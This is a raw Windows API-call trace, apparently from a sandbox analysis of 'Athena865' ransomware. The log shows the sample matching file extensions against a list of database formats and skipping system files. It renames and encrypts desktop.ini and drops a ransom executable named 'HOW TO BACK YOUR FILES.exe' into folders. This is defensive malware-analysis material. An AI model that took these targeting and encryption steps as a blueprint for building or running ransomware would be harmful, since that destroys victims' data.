(lpString="daschema") returned 8 [0053.915] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.915] lstrlenW (lpString="db-journal") returned 10 [0053.915] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.915] lstrlenW (lpString="db-shm") returned 6 [0053.915] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.915] lstrlenW (lpString="db-wal") returned 6 [0053.915] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.915] lstrlenW (lpString="dbc") returned 3 [0053.915] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.915] lstrlenW (lpString="dbs") returned 3 [0053.915] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.915] lstrlenW (lpString="dbt") returned 3 [0053.915] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.915] lstrlenW (lpString="dbv") returned 3 [0053.915] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.915] lstrlenW (lpString="dbx") returned 3 [0053.915] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.915] lstrlenW (lpString="dcb") returned 3 [0053.915] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.915] lstrlenW (lpString="dct") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.916] lstrlenW (lpString="dcx") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.916] lstrlenW (lpString="ddl") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.916] lstrlenW (lpString="dlis") returned 4 [0053.916] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.916] lstrlenW (lpString="dp1") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.916] lstrlenW (lpString="dqy") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.916] lstrlenW (lpString="dsk") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.916] lstrlenW (lpString="dsn") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.916] lstrlenW (lpString="dtsx") returned 4 [0053.916] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.916] lstrlenW (lpString="dxl") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.916] lstrlenW (lpString="eco") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.916] lstrlenW (lpString="ecx") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.916] lstrlenW (lpString="edb") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.916] lstrlenW (lpString="epim") returned 4 [0053.916] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.916] lstrlenW (lpString="fcd") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.916] lstrlenW (lpString="fdb") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.916] lstrlenW (lpString="fic") returned 3 [0053.916] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.917] lstrlenW (lpString="flexolibrary") returned 12 [0053.917] lstrlenW (lpString="fm5") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.917] lstrlenW (lpString="fmp") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.917] lstrlenW (lpString="fmp12") returned 5 [0053.917] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.917] lstrlenW (lpString="fmpsl") returned 5 [0053.917] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.917] lstrlenW (lpString="fol") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.917] lstrlenW (lpString="fp3") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.917] lstrlenW (lpString="fp4") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.917] lstrlenW (lpString="fp5") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.917] lstrlenW (lpString="fp7") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.917] lstrlenW (lpString="fpt") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.917] lstrlenW (lpString="frm") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.917] lstrlenW (lpString="gdb") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.917] lstrlenW (lpString="gdb") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.917] lstrlenW (lpString="grdb") returned 4 [0053.917] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.917] lstrlenW (lpString="gwi") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.917] lstrlenW (lpString="hdb") returned 3 [0053.917] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.918] lstrlenW (lpString="his") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.918] lstrlenW (lpString="ib") returned 2 [0053.918] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.918] lstrlenW (lpString="idb") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.918] lstrlenW (lpString="ihx") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.918] lstrlenW (lpString="itdb") returned 4 [0053.918] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.918] lstrlenW (lpString="itw") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.918] lstrlenW (lpString="jet") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.918] lstrlenW (lpString="jtx") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.918] lstrlenW (lpString="kdb") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.918] lstrlenW (lpString="kexi") returned 4 [0053.918] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.918] lstrlenW (lpString="kexic") returned 5 [0053.918] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.918] lstrlenW (lpString="kexis") returned 5 [0053.918] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.918] lstrlenW (lpString="lgc") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.918] lstrlenW (lpString="lwx") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.918] lstrlenW (lpString="maf") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.918] lstrlenW (lpString="maq") returned 3 [0053.918] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.919] lstrlenW (lpString="mar") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.919] lstrlenW (lpString="marshal") returned 7 [0053.919] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.919] lstrlenW (lpString="mas") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.919] lstrlenW (lpString="mav") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.919] lstrlenW (lpString="maw") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.919] lstrlenW (lpString="mdbhtml") returned 7 [0053.919] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.919] lstrlenW (lpString="mdn") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.919] lstrlenW (lpString="mdt") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.919] lstrlenW (lpString="mfd") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.919] lstrlenW (lpString="mpd") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.919] lstrlenW (lpString="mrg") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.919] lstrlenW (lpString="mud") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.919] lstrlenW (lpString="mwb") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.919] lstrlenW (lpString="myd") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.919] lstrlenW (lpString="ndf") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.919] lstrlenW (lpString="nnt") returned 3 [0053.919] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.919] lstrlenW (lpString="nrmlib") returned 6 [0053.920] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.920] lstrlenW (lpString="ns2") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.920] lstrlenW (lpString="ns3") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.920] lstrlenW (lpString="ns4") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.920] lstrlenW (lpString="nsf") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.920] lstrlenW (lpString="nv") returned 2 [0053.920] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.920] lstrlenW (lpString="nv2") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.920] lstrlenW (lpString="nwdb") returned 4 [0053.920] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.920] lstrlenW (lpString="nyf") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.920] lstrlenW (lpString="odb") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.920] lstrlenW (lpString="odb") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.920] lstrlenW (lpString="oqy") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.920] lstrlenW (lpString="ora") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.920] lstrlenW (lpString="orx") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.920] lstrlenW (lpString="owc") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.920] lstrlenW (lpString="p96") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.920] lstrlenW (lpString="p97") returned 3 [0053.920] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.921] lstrlenW (lpString="pan") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.921] lstrlenW (lpString="pdb") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.921] lstrlenW (lpString="pdm") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.921] lstrlenW (lpString="pnz") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.921] lstrlenW (lpString="qry") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.921] lstrlenW (lpString="qvd") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.921] lstrlenW (lpString="rbf") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.921] lstrlenW (lpString="rctd") returned 4 [0053.921] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.921] lstrlenW (lpString="rod") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.921] lstrlenW (lpString="rodx") returned 4 [0053.921] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.921] lstrlenW (lpString="rpd") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.921] lstrlenW (lpString="rsd") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.921] lstrlenW (lpString="sas7bdat") returned 8 [0053.921] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.921] lstrlenW (lpString="sbf") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.921] lstrlenW (lpString="scx") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.921] lstrlenW (lpString="sdb") returned 3 [0053.921] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.921] lstrlenW (lpString="sdc") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.922] lstrlenW (lpString="sdf") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.922] lstrlenW (lpString="sis") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.922] lstrlenW (lpString="spq") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.922] lstrlenW (lpString="te") returned 2 [0053.922] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.922] lstrlenW (lpString="teacher") returned 7 [0053.922] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.922] lstrlenW (lpString="tmd") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.922] lstrlenW (lpString="tps") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.922] lstrlenW (lpString="trc") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.922] lstrlenW (lpString="trc") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.922] lstrlenW (lpString="trm") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.922] lstrlenW (lpString="udb") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.922] lstrlenW (lpString="udl") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.922] lstrlenW (lpString="usr") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.922] lstrlenW (lpString="v12") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.922] lstrlenW (lpString="vis") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.922] lstrlenW (lpString="vpd") returned 3 [0053.922] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.922] lstrlenW (lpString="vvv") returned 3 [0053.923] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.923] lstrlenW (lpString="wdb") returned 3 [0053.923] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.923] lstrlenW (lpString="wmdb") returned 4 [0053.923] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.923] lstrlenW (lpString="wrk") returned 3 [0053.923] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.923] lstrlenW (lpString="xdb") returned 3 [0053.923] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.923] lstrlenW (lpString="xld") returned 3 [0053.923] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.923] lstrlenW (lpString="xmlff") returned 5 [0053.923] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.923] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Saved Games\\desktop.ini.Athena865") returned 67 [0053.923] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\documents and settings\\default\\saved games\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Saved Games\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\saved games\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.924] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Saved Games\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\saved games\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.924] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=282) returned 1 [0053.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0053.924] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0053.925] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.925] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.925] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x17c [0053.927] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000 [0053.928] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0053.928] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.928] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0053.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0053.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.929] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.929] CloseHandle (hObject=0x17c) returned 1 [0053.929] CloseHandle (hObject=0x154) returned 1 [0053.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0053.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.929] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.930] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.930] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.930] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.930] ReleaseMutex (hMutex=0xec) returned 1 [0053.930] CloseHandle (hObject=0xec) returned 1 [0053.930] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Searches" | out: lpString1="C:\\Documents and Settings\\Default\\Searches") returned="C:\\Documents and Settings\\Default\\Searches" [0053.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528ad0 | out: hHeap=0x4f0000) returned 1 [0053.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc78 | out: hHeap=0x4f0000) returned 1 [0053.930] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Searches") returned 42 [0053.930] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FC02A42E3BF95108E913BC3314E06E3D") returned 0xec [0053.930] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.930] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Searches" | out: lpString1="C:\\Documents and Settings\\Default\\Searches") returned="C:\\Documents and Settings\\Default\\Searches" [0053.930] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.930] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.931] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\searches\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.931] GetLastError () returned 0x0 [0053.931] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.931] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.933] CloseHandle (hObject=0xf4) returned 1 [0053.933] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.933] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.933] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Searches\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.933] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.933] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.933] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.933] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd1c9ba0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.933] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.933] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.933] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.933] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.933] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.933] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.933] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.933] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.933] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.933] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.933] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.933] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.934] lstrlenW (lpString="desktop.ini") returned 11 [0053.934] lstrcpyW (in: lpString1=0x241e89e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.934] lstrlenW (lpString="desktop.ini") returned 11 [0053.934] lstrlenW (lpString="Athena865") returned 9 [0053.934] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.934] lstrlenW (lpString=".dll") returned 4 [0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.934] lstrlenW (lpString=".lnk") returned 4 [0053.934] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.934] lstrlenW (lpString=".ini") returned 4 